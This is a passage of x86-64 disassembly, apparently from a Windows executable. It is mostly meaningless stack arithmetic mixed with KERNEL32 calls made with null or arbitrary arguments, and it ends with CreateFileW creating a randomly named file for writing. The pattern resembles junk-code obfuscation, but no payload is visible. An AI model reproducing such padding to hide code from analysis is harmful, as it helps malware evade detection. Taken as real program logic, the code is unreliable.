mov byte [rsp + 0x8dd], al
movzx eax, word [rsp + 0x2390]
imul eax, eax, 0x2e
mov rcx, qword [rsp + 0x1a500]
mov word [rcx], ax
mov rax, qword [rsp + 0x19b90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xdb88]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xbf5c], eax
mov eax, dword [rsp + 0xdb94]
mov ecx, dword [rsp + 0xc8f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd584], eax
mov rax, qword [rsp + 0x1a5b0]
mov ecx, dword [rsp + 0xb688]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa444], eax
mov rax, qword [0x1402bf5a8]
mov eax, dword [rax]
mov dword [rsp + 0xe094], eax
movzx eax, byte [rsp + 0x86e]
movzx ecx, byte [rsp + 0x83f]
add eax, ecx
mov byte [0x1402bf564], al
mov rax, qword [rsp + 0x19b50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19a88]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3b60], ax
mov rax, qword [0x1402bf740]
mov eax, dword [rax]
mov dword [rsp + 0xe098], eax
mov rax, qword [rsp + 0x19c78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa5c4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x198a8]
mov dword [rcx], eax
movsx eax, word [rsp + 0x3aec]
mov rcx, qword [rsp + 0x1ab50]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2d58], ax
mov rax, qword [rsp + 0x1a270]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19ff0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x886], al
mov rax, qword [rsp + 0x1a5b8]
movzx eax, byte [rax]
imul eax, eax, 0xa4
mov rcx, qword [rsp + 0x19e38]
mov byte [rcx], al
mov rax, qword [0x1402bf428]
movzx eax, word [rax]
mov word [rsp + 0x3c5c], ax
mov rax, qword [rsp + 0x1a0b8]
mov ecx, dword [rsp + 0xd8c4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xdae4], eax
mov rax, qword [rsp + 0x1ab30]
mov eax, dword [rax]
mov dword [0x1402bf31c], eax
mov eax, dword [rsp + 0xc194]
mov dword [rsp + 0xe09c], eax
mov eax, dword [rsp + 0xda58]
mov ecx, dword [0x1402ad720]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1ae10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a518]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19740]
mov qword [rsp + 0x1b048], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b048]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xdd78], eax
mov rax, qword [rsp + 0x1a600]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19948]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x339], al
movzx eax, word [rsp + 0x1b68]
mov rcx, qword [rsp + 0x1a8e8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x19ce8]
mov word [rcx], ax
mov eax, dword [rsp + 0xcfd4]
mov dword [rsp + 0xe0a0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x19ed0]
mov ecx, dword [0x1402ad6e8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd81c], eax
mov eax, dword [rsp + 0xd45c]
mov ecx, dword [rsp + 0x8578]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19c60]
mov dword [rcx], eax
mov eax, dword [0x1402bf320]
mov ecx, dword [rsp + 0xde60]
and ecx, eax
mov eax, ecx
mov dword [0x1402ad964], eax
mov rax, qword [rsp + 0x1b008]
movzx eax, byte [rax]
mov byte [rsp + 0x8de], al
mov rax, qword [rsp + 0x1ae08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35e4]
add eax, ecx
mov rcx, qword [rsp + 0x197a8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x8bc]
mov rcx, qword [rsp + 0x19a98]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6f], al
movsx eax, word [rsp + 0x3604]
movsx ecx, word [rsp + 0x38f0]
sub eax, ecx
mov word [rsp + 0x3970], ax
mov rax, qword [rsp + 0x1ac40]
mov rcx, qword [rsp + 0x1a948]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xde30], eax
mov rax, qword [0x1402bf768]
mov eax, dword [rax]
mov dword [rsp + 0xe0a4], eax
movzx eax, byte [rsp + 0x7ce]
mov rcx, qword [rsp + 0x1a638]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x70e], al
movzx eax, word [rsp + 0x1b78]
mov word [rsp + 0x3c60], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
mov rax, qword [0x1402bf5d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd740]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad8e0], eax
mov rax, qword [rsp + 0x1a580]
mov rcx, qword [rsp + 0x19e90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xdcc0], eax
mov eax, dword [rsp + 0xdaa8]
mov dword [rsp + 0xe0a8], eax
mov rax, qword [rsp + 0x1ada8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd9e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xdb14], eax
movzx eax, byte [rsp + 0x831]
mov rcx, qword [rsp + 0x1a688]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x89d], al
movzx eax, word [rsp + 0x1df0]
movzx ecx, word [rsp + 0x2a8c]
xor eax, ecx
mov word [rsp + 0x2ab4], ax
mov eax, dword [rsp + 0xd170]
movzx ecx, al
mov eax, dword [rsp + 0xd4a8]
sar eax, cl
mov dword [rsp + 0xdf3c], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xd8a8], eax
mov rax, qword [rsp + 0x1a260]
mov eax, dword [rax]
mov dword [rsp + 0xe0ac], eax
mov rax, qword [rsp + 0x1a3a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd490]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19e88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a008]
mov ecx, dword [rsp + 0xda90]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1402ad874], eax
mov rax, qword [rsp + 0x1a990]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd96c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x97f4], eax
mov rax, qword [0x1402bf728]
movzx eax, word [rax]
mov word [rsp + 0x3c64], ax
mov rax, qword [rsp + 0x19898]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x513]
sub eax, ecx
mov byte [rsp + 0x791], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov rax, qword [rsp + 0x1a5b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x84c]
imul eax, ecx
mov byte [rsp + 0x751], al
mov rax, qword [rsp + 0x199a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3a18]
and eax, ecx
mov word [rsp + 0x1a78], ax
mov rax, qword [rsp + 0x1a3b0]
mov ecx, dword [rsp + 0x7fa4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xdf30], eax
mov rax, qword [0x1402bf4b0]
mov eax, dword [rax]
mov dword [rsp + 0xe0b0], eax
movzx eax, word [rsp + 0x36a0]
mov rcx, qword [rsp + 0x19ec0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x19a88]
mov word [rcx], ax
mov rax, qword [rsp + 0x1a9f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x837]
add eax, ecx
mov byte [0x1402acc9e], al
mov eax, dword [rsp + 0xdd04]
mov dword [rsp + 0xe0b4], eax
mov rax, qword [rsp + 0x19d10]
mov rcx, qword [rsp + 0x19e90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb3c4], eax
mov rax, qword [rsp + 0x19a18]
mov rcx, qword [rsp + 0x1ad68]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x82bc], eax
mov rax, qword [rsp + 0x19b28]
mov eax, dword [rax]
mov rcx, qword [0x1402bf760]
mov qword [rsp + 0x1b050], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b050]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xd8f0], eax
mov rax, qword [rsp + 0x1a198]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1af48]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x4c2], al
mov rax, qword [rsp + 0x19a28]
movzx eax, word [rax]
mov word [rsp + 0x3c68], ax
mov rax, qword [rsp + 0x1b038]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1a538]
mov qword [rsp + 0x1b058], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b058]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xc878], eax
mov eax, dword [rsp + 0xb90c]
mov dword [rsp + 0xe0b8], eax
movsx eax, word [rsp + 0x3624]
movsx ecx, word [rsp + 0x3760]
or eax, ecx
mov word [0x1402ad92c], ax
movsx eax, byte [rsp + 0x7a0]
mov rcx, qword [rsp + 0x1ac20]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x17f], al
movzx eax, byte [rsp + 0x188]
movzx ecx, byte [rsp + 0x363]
imul eax, ecx
mov byte [rsp + 0x7f0], al
mov rax, qword [0x1402bf410]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3998]
and eax, ecx
mov word [rsp + 0x24b4], ax
mov eax, dword [rsp + 0xd44c]
mov ecx, dword [rsp + 0xd430]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd468], eax
mov edx, 0x39a435
mov rcx, qword [rsp + 0x19e20]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xe0bc], eax
mov eax, dword [rsp + 0xba78]
mov dword [rsp + 0xe0c0], eax
mov rax, qword [0x1402bf718]
mov ecx, dword [rsp + 0xdd24]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x81a4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov eax, dword [rsp + 0xd3a4]
mov ecx, dword [rsp + 0xdf50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf2c], eax
mov eax, dword [rsp + 0xd794]
mov dword [rsp + 0xe0c4], eax
movzx eax, byte [0x1402acc16]
mov rcx, qword [rsp + 0x1abc8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x19e48]
mov byte [rcx], al
movzx eax, word [rsp + 0x1d1c]
mov word [0x1402bf318], ax
mov eax, dword [0x1402ad754]
mov ecx, dword [rsp + 0xb6ec]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xb504], eax
mov rax, qword [rsp + 0x1af20]
mov ecx, dword [rsp + 0xd194]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x1a050]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19a30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8308]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xba74], eax
mov rax, qword [rsp + 0x19ef0]
mov eax, dword [rax]
mov dword [rsp + 0xe0c8], eax
mov rax, qword [rsp + 0x1ae70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1aa48]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3bfc], ax
lea rcx, [rsp + 0x1acf8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx eax, byte [rsp + 0x2d3]
mov byte [rsp + 0x8df], al
mov rax, qword [rsp + 0x1ac50]
movsx eax, byte [rax]
movsx ecx, byte [0x1402bf578]
sub eax, ecx
mov byte [rsp + 0x1ba], al
movzx ecx, word [rsp + 0x35d0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3a08], ax
lea rax, [rsp + 0x19f4]
mov qword [rsp + 0x1b060], rax
mov rax, qword [rsp + 0x1a150]
mov rcx, qword [rsp + 0x1a420]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x1402ad968], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x1b068], rax
mov eax, dword [rsp + 0xcdf0]
movzx ecx, al
mov eax, dword [rsp + 0xd8e8]
shl eax, cl
mov dword [rsp + 0xdc54], eax
movzx eax, word [rsp + 0x3610]
mov rcx, qword [rsp + 0x198e8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x3bf4], ax
movzx eax, byte [rsp + 0x7bd]
mov byte [rsp + 0x8e0], al
mov eax, dword [rsp + 0x874c]
mov ecx, dword [rsp + 0xd048]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x95c0], eax
lea rax, [rsp + 0x9118]
mov qword [rsp + 0x1b070], rax
mov rax, qword [rsp + 0x19b90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb9f4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd960], eax
mov eax, dword [rsp + 0xd33c]
mov ecx, dword [0x1402bf5a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xdc50], eax
mov rax, qword [rsp + 0x19e00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1af40]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a80], ax
mov rax, qword [rsp + 0x1a9f0]
movzx eax, byte [rax]
movzx ecx, byte [0x1402acc5b]
add eax, ecx
mov byte [0x1402bf690], al
mov eax, dword [rsp + 0xceb8]
mov ecx, dword [rsp + 0xdb08]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd89c], eax
mov rax, qword [rsp + 0x1a6f8]
mov eax, dword [rax]
mov dword [rsp + 0xe0cc], eax
mov eax, dword [0x1402ad950]
mov ecx, dword [rsp + 0xd4e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd8d8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov eax, dword [rsp + 0xc7cc]
mov ecx, dword [rsp + 0x9828]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x856c], eax
lea rcx, [rsp + 0x2afc8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0x19bd8]
mov eax, dword [rax]
mov dword [rsp + 0xe0d0], eax
movsx eax, byte [rsp + 0x810]
movsx ecx, byte [rsp + 0x89f]
sub eax, ecx
mov byte [rsp + 0x28b], al
mov rax, qword [rsp + 0x1a470]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a818]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3228], ax
movzx eax, byte [rsp + 0x60a]
movzx ecx, byte [0x1402acbee]
add eax, ecx
mov byte [rsp + 0x84d], al
movzx eax, word [rsp + 0x367c]
movzx ecx, word [rsp + 0x35c4]
or eax, ecx
mov word [0x1402ad870], ax
mov eax, dword [rsp + 0xd3c4]
mov dword [rsp + 0xe0d4], eax
mov eax, dword [rsp + 0xd334]
mov rcx, qword [rsp + 0x1ae20]
mov qword [rsp + 0x1b078], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b078]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xd39c], eax
movzx eax, word [rsp + 0x3c0c]
movzx ecx, word [rsp + 0x34c4]
xor eax, ecx
mov word [rsp + 0x20d0], ax
movzx eax, byte [rsp + 0x78f]
mov byte [rsp + 0x8e1], al
mov rax, qword [rsp + 0x1a718]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1aac0]
mov qword [rsp + 0x1b080], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b080]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x91fc], eax
mov rax, qword [rsp + 0x19af0]
mov rcx, qword [rsp + 0x1aca0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8508], eax
mov eax, dword [rsp + 0xd3ec]
mov ecx, dword [rsp + 0xcc18]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xdd7c], eax
mov eax, dword [rsp + 0xd160]
mov ecx, dword [rsp + 0x81a4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19ca0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1d1c]
movzx ecx, word [rsp + 0x3968]
add eax, ecx
mov word [0x1402ad96c], ax
movzx eax, byte [0x1402acc9e]
mov byte [rsp + 0x8e2], al
mov eax, dword [rsp + 0xde1c]
mov ecx, dword [rsp + 0xdcdc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd110], eax
mov rax, qword [rsp + 0x19b90]
mov eax, dword [rax]
mov dword [rsp + 0xe0d8], eax
movsx eax, byte [rsp + 0x79c]
movsx ecx, byte [0x1402bf340]
add eax, ecx
mov rcx, qword [rsp + 0x1a088]
mov byte [rcx], al
mov rax, qword [rsp + 0x1a190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3868]
add eax, ecx
mov rcx, qword [rsp + 0x1a7e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x1a618]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3720]
and eax, ecx
mov word [rsp + 0x26d8], ax
movzx eax, byte [0x1402bf660]
movzx ecx, byte [rsp + 0x8dc]
sub eax, ecx
mov rcx, qword [rsp + 0x1a6b8]
mov byte [rcx], al
mov eax, dword [rsp + 0xd0f8]
mov dword [rsp + 0xe0dc], eax
mov eax, dword [rsp + 0xd7e0]
mov dword [0x1402bf314], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xd274], eax
mov rax, qword [rsp + 0x1a518]
mov rcx, qword [0x1402bf6c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd948], eax
mov eax, dword [rsp + 0xdf30]
movzx ecx, al
mov eax, dword [rsp + 0xd078]
shr eax, cl
mov dword [rsp + 0xdb08], eax
mov rax, qword [rsp + 0x19750]
mov eax, dword [rax]
mov dword [rsp + 0xe0e0], eax
mov rax, qword [rsp + 0x1a2b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1ae50]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x10b], al
movzx eax, word [rsp + 0x3b48]
mov word [rsp + 0x3c6c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0xcf68]
mov ecx, dword [rsp + 0xb2a4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xc0d0], eax
mov eax, dword [rsp + 0xcf78]
mov rcx, qword [0x1402bf740]
mov qword [rsp + 0x1b088], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b088]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9558], eax
mov eax, dword [rsp + 0xae80]
mov ecx, dword [rsp + 0xd434]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a518]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x1a828]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xdb00], eax
mov rax, qword [rsp + 0x1a050]
mov ecx, dword [rsp + 0xcfc0]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1402ad6a0], eax
lea rdx, [rsp + 0x2c238]
mov rcx, qword [rsp + 0x19f80]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xd458], eax
mov rax, qword [rsp + 0x1af00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x38dc]
add eax, ecx
mov word [rsp + 0x3638], ax
movzx eax, byte [rsp + 0x474]
mov byte [rsp + 0x8e3], al
movsx eax, word [rsp + 0x3a94]
movsx ecx, word [0x1402ad7e0]
add eax, ecx
mov word [rsp + 0x3b20], ax
mov rax, qword [rsp + 0x1a1a0]
movzx eax, byte [rax]
mov byte [rsp + 0x8e4], al
mov eax, dword [rsp + 0x9c14]
mov ecx, dword [rsp + 0x9964]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xca00], eax
mov rax, qword [rsp + 0x1a070]
mov rcx, qword [rsp + 0x1a6d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8068], eax
mov rax, qword [rsp + 0x1a600]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a0b0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc0], al
mov rax, qword [rsp + 0x19858]
movzx eax, word [rax]
movzx ecx, word [0x1402ad87c]
sub eax, ecx
mov word [rsp + 0x3a4c], ax
mov eax, dword [rsp + 0xa594]
mov ecx, dword [rsp + 0xd900]
sub ecx, eax
mov eax, ecx
mov dword [0x1402bf478], eax
mov rax, qword [rsp + 0x1a9f8]
mov eax, dword [rax]
mov dword [rsp + 0xe0e4], eax
mov rax, qword [0x1402bf4b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xdc34]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xce9c], eax
mov eax, dword [rsp + 0xda58]
mov ecx, dword [rsp + 0xd84c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xdefc], eax
mov rax, qword [rsp + 0x19f38]
movzx eax, word [rax]
mov word [rsp + 0x3c70], ax
mov rax, qword [rsp + 0x1a6c0]
movzx eax, byte [rax]
cdq
mov ecx, 0xae
idiv ecx
mov byte [rsp + 0x8b1], al
lea rax, [rsp + 0xd148]
mov qword [rsp + 0x1b090], rax
mov eax, dword [rsp + 0xd9c8]
mov rcx, qword [rsp + 0x1a538]
mov qword [rsp + 0x1b098], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b098]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xd9dc], eax
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov rcx, qword [0x1402bf740]
mov qword [rsp + 0x1b0a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b0a0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xd634], eax
mov eax, dword [rsp + 0xccc0]
mov ecx, dword [rsp + 0xdcd4]
xor ecx, eax
mov eax, ecx
mov dword [0x1402ad970], eax
mov eax, dword [rsp + 0x81f0]
mov ecx, dword [rsp + 0xdd14]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xae6c], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xd424], eax
movsx eax, word [rsp + 0x35b4]
movsx ecx, word [rsp + 0x3844]
add eax, ecx
mov word [rsp + 0x1bbc], ax
movzx eax, byte [rsp + 0x7d9]
mov byte [rsp + 0x8e5], al
movzx eax, word [rsp + 0x2944]
movzx ecx, word [0x1402bf6a4]
imul eax, ecx
mov word [rsp + 0x2370], ax
mov rax, qword [rsp + 0x1a218]
movzx eax, byte [rax]
mov byte [rsp + 0x8e6], al
mov rax, qword [rsp + 0x1a720]
mov ecx, dword [rsp + 0xdd60]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcf14], eax
mov rax, qword [rsp + 0x19cd8]
mov ecx, dword [0x1402bf560]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb7e4], eax
mov rax, qword [rsp + 0x1af48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x73]
sub eax, ecx
mov byte [rsp + 0x1cf], al
movzx eax, word [rsp + 0x3a00]
movzx ecx, word [0x1402bf368]
sub eax, ecx
mov rcx, qword [0x1402bf730]
mov word [rcx], ax
mov rax, qword [rsp + 0x1a0b8]
mov rcx, qword [rsp + 0x1aca0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xdc24], eax
mov rax, qword [rsp + 0x1a038]
mov eax, dword [rax]
mov dword [rsp + 0xe0e8], eax
mov rcx, qword [rsp + 0x1a110]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xd990], eax
mov rax, qword [rsp + 0x19a30]
mov rcx, qword [0x1402bf750]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd678], eax
mov rax, qword [rsp + 0x1a888]
mov ecx, dword [rsp + 0xd7e8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xdb7c], eax
mov rax, qword [rsp + 0x1a6b8]
movzx eax, byte [rax]
mov byte [rsp + 0x8e7], al
movzx eax, word [rsp + 0x2db4]
mov rcx, qword [0x1402bf600]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x36a0], ax
mov rax, qword [rsp + 0x1a1e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb4a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa098], eax
mov rax, qword [rsp + 0x19780]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb3c4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xae58], eax
movsx eax, word [0x1402ad63c]
movsx ecx, word [rsp + 0x3904]
sar eax, cl
mov word [0x1402ad974], ax
movsx eax, byte [rsp + 0x502]
movsx ecx, byte [rsp + 0x4dd]
xor eax, ecx
mov byte [rsp + 0x87e], al
movzx eax, word [rsp + 0x3a18]
mov word [rsp + 0x3c74], ax
movzx eax, byte [rsp + 0x7f9]
mov rcx, qword [rsp + 0x1abf0]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x7c7], al
mov eax, dword [rsp + 0xd204]
mov dword [rsp + 0xe0ec], eax
mov eax, dword [rsp + 0xd0a4]
movzx ecx, al
mov eax, dword [rsp + 0xceb8]
shl eax, cl
mov dword [rsp + 0x9118], eax
mov eax, dword [rsp + 0x8fcc]
mov dword [rsp + 0xe0f0], eax
lea rdx, [rsp + 0x19ed8]
mov rcx, qword [rsp + 0x19ae0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xe0f4], eax
mov rax, qword [rsp + 0x19ca0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xceb0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xb4a4], eax
mov rax, qword [rsp + 0x1a108]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd0ec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xdb58], eax
mov rax, qword [rsp + 0x19fb0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a9f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4c4], al
mov rax, qword [rsp + 0x1ad10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19848]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [0x1402bf688]
mov word [rcx], ax
mov rax, qword [0x1402bf6c0]
mov ecx, dword [rsp + 0xd374]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xbb04], eax
lea rdx, [rsp + 0x2d2a0]
mov rcx, qword [rsp + 0x1a658]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xe0f4], eax
mov rax, qword [rsp + 0x19888]
mov eax, dword [rax]
mov dword [rsp + 0xe0f8], eax
mov rax, qword [rsp + 0x1a740]
mov ecx, dword [rsp + 0xddf0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xdb64], eax
mov rax, qword [rsp + 0x1aff8]
mov ecx, dword [rsp + 0xced8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcdf4], eax
lea rax, [rsp + 0x2390]
mov qword [rsp + 0x1b0a8], rax
mov rax, qword [rsp + 0x19e48]
movzx eax, byte [rax]
movzx ecx, byte [0x1402acbb3]
sub eax, ecx
mov byte [rsp + 0x88e], al
mov rax, qword [rsp + 0x19af8]
movzx eax, byte [rax]
mov byte [rsp + 0x8e8], al
movsx eax, word [rsp + 0x3754]
movsx ecx, word [rsp + 0x3b34]
sub eax, ecx
mov word [rsp + 0x3b18], ax
mov eax, dword [rsp + 0xcde8]
mov dword [0x1402bf310], eax
mov rax, qword [rsp + 0x1a338]
mov eax, dword [rax]
mov ecx, dword [0x1402ad7f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd6ac], eax
mov rax, qword [rsp + 0x19dc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3568]
xor eax, ecx
mov word [rsp + 0x292c], ax
movzx eax, byte [rsp + 0x414]
movzx ecx, byte [0x1402acb47]
or eax, ecx
mov byte [rsp + 0x1e7], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.K04pg7kDC1aS
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1b0b0], rax
lea rax, [rsp + 0xdee0]
mov qword [rsp + 0x1b0b8], rax
mov rax, qword [rsp + 0x19910]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd0f8]
shr eax, cl
mov rcx, qword [rsp + 0x1ae30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19f60]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd348]
shl eax, cl
